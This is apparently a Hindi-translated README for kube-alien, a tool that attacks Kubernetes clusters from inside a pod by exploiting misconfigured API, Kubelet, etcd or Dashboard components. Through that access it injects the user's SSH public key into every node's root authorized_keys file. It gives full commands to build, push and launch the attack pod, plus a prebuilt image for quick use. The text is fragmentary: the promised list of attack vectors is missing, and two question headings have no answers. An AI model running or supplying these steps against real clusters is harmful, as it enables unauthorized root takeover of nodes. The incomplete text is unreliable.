
स्वचालित Kubernetes क्लस्टर पेनिट्रेशन टेस्टिंग टूल जो API, Kubelet, etcd और Dashboard में गलत कॉन्फ़िगरेशन का शोषण करता है ताकि पॉड के अंदर से SSH कुंजी इंजेक्शन के माध्यम से नोड पर कब्जा किया जा सके।
यह उपकरण k8s क्लस्टर पर अंदर से हमला करता है। इसका मतलब है कि इसे चलाने के लिए आपके पास पहले से ही क्लस्टर में पॉड्स तैनात करने की अनुमति के साथ एक्सेस होना चाहिए। kube-alien पॉड चलाने के बाद यह आपकी सार्वजनिक कुंजी को नोड की /root/.ssh/authorized_keys फ़ाइल में जोड़कर क्लस्टर के नोड्स पर कब्जा करने की कोशिश करता है, इस इमेज https://github.com/nixwizard/dockercloud-authorizedkeys का उपयोग करके (config.py में ADD_AUTHKEYS_IMAGE पैरामीटर का उपयोग करके समायोजित किया जा सकता है) जो docker/dockercloud-authorizedkeys से फोर्क किया गया है। हमला तब सफल होता है जब क्लस्टर के किसी एक घटक में गलत कॉन्फ़िगरेशन होता है, यह निम्नलिखित वेक्टरों के साथ जाता है:
इस उपकरण का उद्देश्य क्या है?
वास्तविक जीवन में k8s क्लस्टर पर अंदर से कैसे हमला किया जा सकता है?
इस उपकरण के साथ उपयोग करने से पहले Kube-alien इमेज को आपके dockerhub (या अन्य रजिस्ट्री) में पुश किया जाना चाहिए।
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
AUTHORIZED_KEYS env को आपकी ssh सार्वजनिक कुंजी के मान पर सेट करना आवश्यक है, सफलता के मामले में सार्वजनिक कुंजी सभी नोड की रूट की authorized_keys फ़ाइल में जोड़ दी जाएगी।
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
या आप त्वरित परीक्षण के लिए मेरी इमेज का उपयोग कर सकते हैं:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
यह देखने के लिए Kube-alien पॉड के लॉग जांचें कि हमला सफल हुआ या नहीं:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')